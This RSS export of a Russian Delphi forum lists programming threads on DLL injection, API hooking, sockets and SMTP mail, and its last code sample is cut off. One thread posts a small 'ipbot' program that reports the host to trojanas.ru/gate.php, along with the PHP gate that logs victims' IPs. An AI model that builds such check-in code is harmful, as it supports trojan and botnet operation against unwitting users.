<?xml version="1.0" encoding="UTF-8" ?>
<rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:dc="http://purl.org/dc/elements/1.1/">
<channel>
<title>delfcode</title>
<link>https://delfcode.ru/forum/</link>
<description>delfcode</description>
<lastBuildDate>Thu, 30 Oct 2014 20:12:56 GMT</lastBuildDate>
<generator>uCoz Web-Service</generator>
<item>
<title>Вызвать функцию по адресу</title>
<link>https://delfcode.ru/forum/30-1306-1</link>
<pubDate>Thu, 30 Oct 2014 20:12:56 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/30&quot;&gt;Windows API в Delphi&lt;/a&gt;&lt;br /&gt;Автор темы: Slash&lt;br /&gt;Автор последнего сообщения: Slash&lt;br /&gt;Количество ответов: 12</description>
<content:encoded>Вообщем, есть процесс GothicMod.exe, он запускается, потом в него инжектится dll, а dll вызывает определенную функцию по адресу. &lt;br /&gt; Я пробовал сделать это двумя способами, при каждом из них игра(процесс) виснет. У кого рабочий способ есть? &lt;br /&gt;&lt;br /&gt; Способ 1: &lt;br /&gt; &lt;!--uzcode--&gt;&lt;div class=&quot;bbCodeBlock&quot;&gt;&lt;div class=&quot;bbCodeName&quot; style=&quot;padding-left:5px;font-weight:bold;font-size:7pt&quot;&gt;Код&lt;/div&gt;&lt;div class=&quot;codeMessage&quot; style=&quot;border:1px inset;max-height:200px;overflow:auto;height:expression(this.scrollHeight&lt;5?this.style.height:scrollHeight&gt;200?&apos;200px&apos;:&apos;&apos;+(this.scrollHeight+5)+&apos;px&apos;);&quot;&gt;&lt;!--uzc--&gt; &lt;br /&gt; procedure XCALL(uAddr : Pointer&amp;#41;; &lt;br /&gt; begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;asm &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;mov esp, ebp &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;pop ebp &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;mov eax, uAddr &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;jmp eax &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;end; &lt;br /&gt; end; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;XCALL(ptr($00401260&amp;#41;&amp;#41;; &lt;br /&gt; &lt;!--/uzc--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uzcode--&gt; &lt;br /&gt;&lt;br /&gt; Способ 2: &lt;br /&gt; &lt;!--uzcode--&gt;&lt;div class=&quot;bbCodeBlock&quot;&gt;&lt;div class=&quot;bbCodeName&quot; style=&quot;padding-left:5px;font-weight:bold;font-size:7pt&quot;&gt;Код&lt;/div&gt;&lt;div class=&quot;codeMessage&quot; style=&quot;border:1px inset;max-height:200px;overflow:auto;height:expression(this.scrollHeight&lt;5?this.style.height:scrollHeight&gt;200?&apos;200px&apos;:&apos;&apos;+(this.scrollHeight+5)+&apos;px&apos;);&quot;&gt;&lt;!--uzc--&gt; &lt;br /&gt; type TConstructorZString = procedure(&amp;#41;; &lt;br /&gt;&lt;br /&gt; constructor TzSTRING.Create; &lt;br /&gt; var ConstructorZString: TConstructorZString; &lt;br /&gt; begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;inherited; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ConstructorZString:= TConstructorZString(ptr($00401260&amp;#41;&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ConstructorZString(&amp;#41;; &lt;br /&gt; end; &lt;br /&gt; &lt;!--/uzc--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uzcode--&gt;</content:encoded>
<category>Windows API в Delphi</category>
<dc:creator>Slash</dc:creator>
<guid>https://delfcode.ru/forum/30-1306-1</guid>
</item>
<item>
<title>Отправка ip на gate</title>
<link>https://delfcode.ru/forum/30-459-1</link>
<pubDate>Fri, 25 Apr 2014 17:47:15 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/30&quot;&gt;Windows API в Delphi&lt;/a&gt;&lt;br /&gt;Автор темы: dolphin&lt;br /&gt;Автор последнего сообщения: MAS&lt;br /&gt;Количество ответов: 2</description>
<content:encoded>Немного подредактировал то что нашёл в инете, при сжатии вес 1,2 кб получается &lt;p&gt; &lt;!--uzcode--&gt;&lt;div class=&quot;bbCodeBlock&quot;&gt;&lt;div class=&quot;bbCodeName&quot; style=&quot;padding-left:5px;font-weight:bold;font-size:7pt&quot;&gt;Code&lt;/div&gt;&lt;div class=&quot;codeMessage&quot; style=&quot;border:1px inset;max-height:200px;overflow:auto;height:expression(this.scrollHeight&lt;5?this.style.height:scrollHeight&gt;200?&apos;200px&apos;:&apos;&apos;+(this.scrollHeight+5)+&apos;px&apos;);&quot;&gt;&lt;!--uzc--&gt; &lt;br /&gt; &lt;?php &lt;br /&gt; $ip=$_SERVER&amp;#91;&apos;REMOTE_ADDR&apos;]; &lt;br /&gt; $all=date(&quot;m.d.Y H:i:s&quot;&amp;#41;.&apos;&amp;nbsp;&amp;nbsp;:&amp;nbsp;&amp;nbsp;&apos;.$ip; &lt;br /&gt; $base = fopen(&apos;base.txt&apos;, &quot;a+&quot;&amp;#41;; &lt;br /&gt; fwrite($base, $all.&quot;&amp;#92;r&amp;#92;n&quot;&amp;#41;; &lt;br /&gt; fclose($base&amp;#41;; &lt;br /&gt; ?&gt; &lt;br /&gt;&lt;br /&gt; &lt;!--/uzc--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uzcode--&gt; &lt;br /&gt; &lt;!--BBhide--&gt;&lt;span class=&quot;UhideBlockL&quot;&gt;&lt;a href=&quot;javascript://&quot; onclick=&quot;new _uWnd(&apos;LF&apos;,&apos; &apos;,-250,-110,{autosize:0,closeonesc:1,resize:1},{url:&apos;/index/40&apos;});return false;&quot;&gt;Доступно только для пользователей&lt;/a&gt;&lt;/span&gt;&lt;span class=&quot;UhideBlock&quot;&gt; &lt;br /&gt; &lt;!--uSpoiler--&gt;&lt;div class=&quot;uSpoilerClosed&quot; id=&quot;uSpoiler3aVOtf&quot;&gt;&lt;div class=&quot;uSpoilerButBl&quot;&gt;&lt;input type=&quot;button&quot; class=&quot;uSpoilerButton&quot; onclick=&quot;if($(&apos;#uSpoiler3aVOtf&apos;)[0]){if ($(&apos;.uSpoilerText&apos;,$(&apos;#uSpoiler3aVOtf&apos;))[0].style.display==&apos;none&apos;){$(&apos;.uSpoilerText&apos;,$(&apos;#uSpoiler3aVOtf&apos;))[0].style.display=&apos;&apos;;$(&apos;.uSpoilerButton&apos;,$(&apos;#uSpoiler3aVOtf&apos;)).val(&apos;Закрыть спойлер&apos;);$(&apos;#uSpoiler3aVOtf&apos;).attr(&apos;class&apos;,&apos;uSpoilerOpened&apos;);}else {$(&apos;.uSpoilerText&apos;,$(&apos;#uSpoiler3aVOtf&apos;))[0].style.display=&apos;none&apos;;$(&apos;.uSpoilerButton&apos;,$(&apos;#uSpoiler3aVOtf&apos;)).val(&apos;Открыть спойлер&apos;);$(&apos;#uSpoiler3aVOtf&apos;).attr(&apos;class&apos;,&apos;uSpoilerClosed&apos;);}}&quot; value=&quot;Открыть спойлер&quot;/&gt;&lt;/div&gt;&lt;div class=&quot;uSpoilerText&quot; style=&quot;display:none;&quot;&gt;&lt;!--ust--&gt; &lt;br /&gt; &lt;!--uzcode--&gt;&lt;div class=&quot;bbCodeBlock&quot;&gt;&lt;div class=&quot;bbCodeName&quot; style=&quot;padding-left:5px;font-weight:bold;font-size:7pt&quot;&gt;Code&lt;/div&gt;&lt;div class=&quot;codeMessage&quot; style=&quot;border:1px inset;max-height:200px;overflow:auto;height:expression(this.scrollHeight&lt;5?this.style.height:scrollHeight&gt;200?&apos;200px&apos;:&apos;&apos;+(this.scrollHeight+5)+&apos;px&apos;);&quot;&gt;&lt;!--uzc--&gt; &lt;br /&gt; program ipbot; &lt;br /&gt;&lt;br /&gt; const &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;winetdll = &apos;wininet.dll&apos;; &lt;br /&gt;&lt;br /&gt; function InternetOpen(lpszAgent: PChar; dwAccessType: LongWord;lpszProxy, lpszProxyBypass: PChar; dwFlags: LongWord&amp;#41;: Pointer; stdcall; external winetdll name &apos;InternetOpenA&apos;; &lt;br /&gt; function InternetConnect(hInet: Pointer; lpszServerName: PChar;nServerPort: Word; lpszUsername: PChar; lpszPassword: PChar;dwService: LongWord; dwFlags: LongWord; dwContext: LongWord&amp;#41;: Pointer; stdcall; external winetdll name &apos;InternetConnectA&apos;; &lt;br /&gt; function HttpOpenRequest(hConnect: Pointer; lpszVerb: PChar;lpszObjectName: PChar; lpszVersion: PChar; lpszReferrer: PChar;lplpszAcceptTypes: PChar; dwFlags: LongWord;dwContext: LongWord&amp;#41;: Pointer; stdcall; external winetdll name &apos;HttpOpenRequestA&apos;; &lt;br /&gt; function HttpSendRequest(hRequest: Pointer; lpszHeaders: PChar;dwHeadersLength: LongWord; lpOptional: Pointer;dwOptionalLength: LongWord&amp;#41;: BOOlean; stdcall; external winetdll name &apos;HttpSendRequestA&apos;; &lt;br /&gt; function InternetCloseHandle(hInet: Pointer&amp;#41;: BOOLean; stdcall; external winetdll name &apos;InternetCloseHandle&apos;; &lt;br /&gt;&lt;br /&gt; procedure sendip; &lt;br /&gt; var &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;hInternet, hConnect, hRequest : pointer; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Par : Cardinal; &lt;br /&gt; begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;par := $80000000 or $00001000 or $04000000 or $00000100 or $00400000; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;hInternet := InternetOpen(&apos;ie&apos;,0,nil,nil,0&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if Assigned(hInternet&amp;#41; then &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;hConnect:=InternetConnect(hInternet,&apos;trojanas.ru&apos;,80,nil,nil,3,0,1&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if Assigned(hConnect&amp;#41; then &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;hRequest:= HttpOpenRequest(hConnect,&apos;GET&apos;,&apos;/gate.php&apos;,&apos;HTTP/1.0&apos;,&apos;trojanas.ru&apos;,nil,par,1&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if Assigned(hRequest&amp;#41; then &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;HttpSendRequest(hRequest,nil,0,nil,0&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;end; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;InternetCloseHandle(hRequest&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;end; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;InternetCloseHandle(hConnect&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;end; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;InternetCloseHandle(hInternet&amp;#41;; &lt;br /&gt; end; &lt;br /&gt;&lt;br /&gt; begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;sendip; &lt;br /&gt; end. &lt;br /&gt; &lt;!--/uzc--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uzcode--&gt;&lt;!--/ust--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uSpoiler--&gt;&lt;/span&gt;&lt;!--/BBhide--&gt;</content:encoded>
<category>Windows API в Delphi</category>
<dc:creator>dolphin</dc:creator>
<guid>https://delfcode.ru/forum/30-459-1</guid>
</item>
<item>
<title>Вызов функции по её хешу от имени</title>
<link>https://delfcode.ru/forum/30-1023-1</link>
<pubDate>Fri, 14 Feb 2014 15:34:20 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/30&quot;&gt;Windows API в Delphi&lt;/a&gt;&lt;br /&gt;Описание темы: Вызов функции по её хешу от имени&lt;br /&gt;Автор темы: Neo&lt;br /&gt;Автор последнего сообщения: Anton93&lt;br /&gt;Количество ответов: 28</description>
<content:encoded>Всем привет! Кто знает как вызывать API функцию не по её имени,а по её кешу от имени???</content:encoded>
<category>Windows API в Delphi</category>
<dc:creator>Neo</dc:creator>
<guid>https://delfcode.ru/forum/30-1023-1</guid>
</item>
<item>
<title>Socks4/5 Proxi</title>
<link>https://delfcode.ru/forum/30-1137-1</link>
<pubDate>Wed, 11 Sep 2013 02:39:26 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/30&quot;&gt;Windows API в Delphi&lt;/a&gt;&lt;br /&gt;Описание темы: Socks4/5 Proxi&lt;br /&gt;Автор темы: Neo&lt;br /&gt;Автор последнего сообщения: Neo&lt;br /&gt;Количество ответов: 8</description>
<content:encoded>Всем привет,мне понадобился исходничек реализации socks5 сервера на Delphi,может у кого есть пример?Естественно на WinApi. &lt;img src=&quot;http://s5.ucoz.net/sm/23/smile.gif&quot; border=&quot;0&quot; align=&quot;absmiddle&quot; alt=&quot;smile&quot; /&gt;</content:encoded>
<category>Windows API в Delphi</category>
<dc:creator>Neo</dc:creator>
<guid>https://delfcode.ru/forum/30-1137-1</guid>
</item>
<item>
<title>Перехват api функций</title>
<link>https://delfcode.ru/forum/30-469-1</link>
<pubDate>Wed, 31 Jul 2013 12:22:36 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/30&quot;&gt;Windows API в Delphi&lt;/a&gt;&lt;br /&gt;Автор темы: vvova15&lt;br /&gt;Автор последнего сообщения: FeniX&lt;br /&gt;Количество ответов: 6</description>
<content:encoded>заинтересовал перехват апи функций мастдая. немного погуглив я нашел исходник, &lt;br /&gt; который показывает как перехватить функцию MessageBoxA и изменить gараметры, с которыми она была вызвана. &lt;br /&gt; вот исходник. там в каждый месаджбок дописывается реклама. &lt;br /&gt; для изучения и знакомства c хуками само то.</content:encoded>
<category>Windows API в Delphi</category>
<dc:creator>vvova15</dc:creator>
<guid>https://delfcode.ru/forum/30-469-1</guid>
</item>
<item>
<title>Передача большого количества данных через сокеты</title>
<link>https://delfcode.ru/forum/30-1071-1</link>
<pubDate>Fri, 28 Jun 2013 13:03:59 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/30&quot;&gt;Windows API в Delphi&lt;/a&gt;&lt;br /&gt;Описание темы: Вопрос связанный с реализацией&lt;br /&gt;Автор темы: Hargen&lt;br /&gt;Автор последнего сообщения: xXxSh@dowxXx&lt;br /&gt;Количество ответов: 4</description>
<content:encoded>Есть большой объем данных (допустим, более 100 мб ). Его нужно передать через сокетное соединение. Используется протокол TCP, асинхронные сокеты. Как эти данные лучше передать - если сплошным 100 метровым куском слать - все может повиснуть, по идее надо делить на блоки, но вот какой выбрать для них размер, чтобы не черезчур часто вызывать функцию отправки, что затормозит программу.</content:encoded>
<category>Windows API в Delphi</category>
<dc:creator>Hargen</dc:creator>
<guid>https://delfcode.ru/forum/30-1071-1</guid>
</item>
<item>
<title>Работа с Winsock. Пример Чата(не закончен)</title>
<link>https://delfcode.ru/forum/30-1058-1</link>
<pubDate>Wed, 15 May 2013 11:55:34 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/30&quot;&gt;Windows API в Delphi&lt;/a&gt;&lt;br /&gt;Автор темы: Hargen&lt;br /&gt;Автор последнего сообщения: Hargen&lt;br /&gt;Количество ответов: 0</description>
<content:encoded>Решил выложить свои тестовые сорцы для работы с Winsock. &lt;br /&gt; Писал собственноручно,&lt;span style=&quot;color:red&quot;&gt;они не тестированны и не закончены&lt;/span&gt;, если есть баги - комментируйте, пишите в лс &lt;br /&gt; &lt;!--uSpoiler--&gt;&lt;div class=&quot;uSpoilerClosed&quot; id=&quot;uSpoilerrt1y_1&quot;&gt;&lt;div class=&quot;uSpoilerButBl&quot;&gt;&lt;input type=&quot;button&quot; class=&quot;uSpoilerButton&quot; onclick=&quot;if($(&apos;#uSpoilerrt1y_1&apos;)[0]){if ($(&apos;.uSpoilerText&apos;,$(&apos;#uSpoilerrt1y_1&apos;))[0].style.display==&apos;none&apos;){$(&apos;.uSpoilerText&apos;,$(&apos;#uSpoilerrt1y_1&apos;))[0].style.display=&apos;&apos;;$(&apos;.uSpoilerButton&apos;,$(&apos;#uSpoilerrt1y_1&apos;)).val(&apos;Закрыть спойлер&apos;);$(&apos;#uSpoilerrt1y_1&apos;).attr(&apos;class&apos;,&apos;uSpoilerOpened&apos;);}else {$(&apos;.uSpoilerText&apos;,$(&apos;#uSpoilerrt1y_1&apos;))[0].style.display=&apos;none&apos;;$(&apos;.uSpoilerButton&apos;,$(&apos;#uSpoilerrt1y_1&apos;)).val(&apos;Открыть спойлер&apos;);$(&apos;#uSpoilerrt1y_1&apos;).attr(&apos;class&apos;,&apos;uSpoilerClosed&apos;);}}&quot; value=&quot;Открыть спойлер&quot;/&gt;&lt;/div&gt;&lt;div class=&quot;uSpoilerText&quot; style=&quot;display:none;&quot;&gt;&lt;!--ust--&gt;&lt;!--BBhide--&gt;&lt;span class=&quot;UhideBlockL&quot;&gt;&lt;a href=&quot;javascript://&quot; onclick=&quot;new _uWnd(&apos;LF&apos;,&apos; &apos;,-250,-110,{autosize:0,closeonesc:1,resize:1},{url:&apos;/index/40&apos;});return false;&quot;&gt;Доступно только для пользователей&lt;/a&gt;&lt;/span&gt;&lt;span class=&quot;UhideBlock&quot;&gt;&lt;span style=&quot;color:green&quot;&gt;Update : обновил Dataobmen и ChatTest - дописал автоацепт клиентов и улучшил чат&lt;/span&gt; &lt;br /&gt; Dataobmen - вариацие сокетных клиента и сервера, основанная на потоках и Winsock. &lt;br /&gt; &lt;a class=&quot;link&quot; target=&quot;_blank&quot; href=&quot;http://u.to/l_x1Aw&quot; title=&quot;http://yadi.sk/d/tMu6cjF44rLjB&quot; rel=&quot;nofollow&quot;&gt;http://yadi.sk/d/tMu6cjF44rLjB&lt;/a&gt; &lt;br /&gt;&lt;br /&gt; ChatTest - тестовый неоконченый сорц чата &lt;br /&gt; &lt;a class=&quot;link&quot; target=&quot;_blank&quot; href=&quot;http://u.to/Iu91Aw&quot; title=&quot;http://yadi.sk/d/gKQNjLfT4rMoZ&quot; rel=&quot;nofollow&quot;&gt;http://yadi.sk/d/gKQNjLfT4rMoZ&lt;/a&gt; &lt;br /&gt; &lt;/span&gt;&lt;!--/BBhide--&gt; &lt;br /&gt; &lt;!--/ust--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uSpoiler--&gt; &lt;br /&gt;&lt;br /&gt; &lt;b&gt;Добавлено&lt;/b&gt; (15.05.2013, 15:55) &lt;br /&gt; --------------------------------------------- &lt;br /&gt; Собственно говоря, сам чат создавать так: &lt;br /&gt; &lt;!--uzcode--&gt;&lt;div class=&quot;bbCodeBlock&quot;&gt;&lt;div class=&quot;bbCodeName&quot; style=&quot;padding-left:5px;font-weight:bold;font-size:7pt&quot;&gt;Код&lt;/div&gt;&lt;div class=&quot;codeMessage&quot; style=&quot;border:1px inset;max-height:200px;overflow:auto;height:expression(this.scrollHeight&lt;5?this.style.height:scrollHeight&gt;200?&apos;200px&apos;:&apos;&apos;+(this.scrollHeight+5)+&apos;px&apos;);&quot;&gt;&lt;!--uzc--&gt; &lt;br /&gt; function CreateChat(addr:sockAddr_in&amp;#41;:TserverThread; &lt;br /&gt; begin &lt;br /&gt; result:=TserverThread(addr,nil&amp;#41;; &lt;br /&gt; SetAsEchoServer(result&amp;#41;; &lt;br /&gt; end; &lt;br /&gt; &lt;!--/uzc--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uzcode--&gt;</content:encoded>
<category>Windows API в Delphi</category>
<dc:creator>Hargen</dc:creator>
<guid>https://delfcode.ru/forum/30-1058-1</guid>
</item>
<item>
<title>WinSock: Отправка почты</title>
<link>https://delfcode.ru/forum/30-622-1</link>
<pubDate>Fri, 19 Oct 2012 15:58:39 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/30&quot;&gt;Windows API в Delphi&lt;/a&gt;&lt;br /&gt;Описание темы: Отправка почты&lt;br /&gt;Автор темы: gravitas&lt;br /&gt;Автор последнего сообщения: XSPY&lt;br /&gt;Количество ответов: 9</description>
<content:encoded>Отправка почты через smtp.mail.ru &lt;br /&gt; &lt;!--uSpoiler--&gt;&lt;div class=&quot;uSpoilerClosed&quot; id=&quot;uSpoileriFEgXh&quot;&gt;&lt;div class=&quot;uSpoilerButBl&quot;&gt;&lt;input type=&quot;button&quot; class=&quot;uSpoilerButton&quot; onclick=&quot;if($(&apos;#uSpoileriFEgXh&apos;)[0]){if ($(&apos;.uSpoilerText&apos;,$(&apos;#uSpoileriFEgXh&apos;))[0].style.display==&apos;none&apos;){$(&apos;.uSpoilerText&apos;,$(&apos;#uSpoileriFEgXh&apos;))[0].style.display=&apos;&apos;;$(&apos;.uSpoilerButton&apos;,$(&apos;#uSpoileriFEgXh&apos;)).val(&apos;Закрыть спойлер&apos;);$(&apos;#uSpoileriFEgXh&apos;).attr(&apos;class&apos;,&apos;uSpoilerOpened&apos;);}else {$(&apos;.uSpoilerText&apos;,$(&apos;#uSpoileriFEgXh&apos;))[0].style.display=&apos;none&apos;;$(&apos;.uSpoilerButton&apos;,$(&apos;#uSpoileriFEgXh&apos;)).val(&apos;Открыть спойлер&apos;);$(&apos;#uSpoileriFEgXh&apos;).attr(&apos;class&apos;,&apos;uSpoilerClosed&apos;);}}&quot; value=&quot;Открыть спойлер&quot;/&gt;&lt;/div&gt;&lt;div class=&quot;uSpoilerText&quot; style=&quot;display:none;&quot;&gt;&lt;!--ust--&gt;&lt;!--uzcode--&gt;&lt;div class=&quot;bbCodeBlock&quot;&gt;&lt;div class=&quot;bbCodeName&quot; style=&quot;padding-left:5px;font-weight:bold;font-size:7pt&quot;&gt;Code&lt;/div&gt;&lt;div class=&quot;codeMessage&quot; style=&quot;border:1px inset;max-height:200px;overflow:auto;height:expression(this.scrollHeight&lt;5?this.style.height:scrollHeight&gt;200?&apos;200px&apos;:&apos;&apos;+(this.scrollHeight+5)+&apos;px&apos;);&quot;&gt;&lt;!--uzc--&gt;program SMTP; &lt;br /&gt; {$APPTYPE CONSOLE} &lt;br /&gt; uses &lt;br /&gt; Windows, WinSock; &lt;br /&gt;&lt;br /&gt; function EncodeBase64(const inStr: string&amp;#41;: string; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;function Encode_Byte(b: Byte&amp;#41;: char; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;const &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Base64Code: string&amp;#91;64] = &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&apos;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/&apos;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Result := Base64Code&amp;#91;(b and $3F&amp;#41;+1]; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;end; &lt;br /&gt; var &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;i: Integer; &lt;br /&gt; begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;i := 1; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Result := &apos;&apos;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;while i &lt;= Length(InStr&amp;#41; do &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Result := Result + Encode_Byte(Byte(inStr&amp;#91;i]&amp;#41; shr 2&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Result := Result + Encode_Byte((Byte(inStr&amp;#91;i]&amp;#41; shl 4&amp;#41; or (Byte(inStr&amp;#91;i+1]&amp;#41; shr 4&amp;#41;&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if i+1 &lt;= Length(inStr&amp;#41; then &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Result := Result + Encode_Byte((Byte(inStr&amp;#91;i+1]&amp;#41; shl 2&amp;#41; or (Byte(inStr&amp;#91;i+2]&amp;#41; shr 6&amp;#41;&amp;#41; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;else &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Result := Result + &apos;=&apos;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if i+2 &lt;= Length(inStr&amp;#41; then &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Result := Result + Encode_Byte(Byte(inStr&amp;#91;i+2]&amp;#41;&amp;#41; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;else &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Result := Result + &apos;=&apos;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Inc(i, 3&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;end; &lt;br /&gt; end; &lt;br /&gt;&lt;br /&gt; var &lt;br /&gt; MyLogin, MyPass, DestMail, MailText, MailSub: String; &lt;br /&gt; WSA: TWSAData; &lt;br /&gt; S: TSocket; &lt;br /&gt; Addr: TSockAddr; &lt;br /&gt; SendBuf: String; &lt;br /&gt; RecvBuf: array&amp;#91;0..255] of char; &lt;br /&gt; begin &lt;br /&gt; MyLogin:=&apos;uwner&apos;; &lt;br /&gt; MyPass:=&apos;pass&apos;; &lt;br /&gt; DestMail:=&apos;gravitas@xakep.ru&apos;; &lt;br /&gt; MailSub:=&apos;By gravitas&apos;; &lt;br /&gt; MailText:=&apos;Test mail&apos;; &lt;br /&gt; WSAStartup($101, WSA&amp;#41;; &lt;br /&gt; Addr.sin_family:=AF_INET; &lt;br /&gt; Addr.sin_port:=htons(25&amp;#41;; &lt;br /&gt; Addr.sin_addr.S_addr:=inet_addr(&apos;94.100.177.1&apos;&amp;#41;;&amp;nbsp;&amp;nbsp;&amp;nbsp;// smtp.mail.ru &lt;br /&gt; S:=Socket(AF_INET, SOCK_STREAM, IPPROTO_IP&amp;#41;; &lt;br /&gt; Connect(S, Addr, SizeOf(Addr&amp;#41;&amp;#41;; &lt;br /&gt; Recv(S, RecvBuf, 255, 0&amp;#41;; &lt;br /&gt; SendBuf:=&apos;EHLO server&apos;#13#10; &lt;br /&gt; Send(S, SendBuf&amp;#91;1], Length(SendBuf&amp;#41;, 0&amp;#41;; &lt;br /&gt; Recv(S, 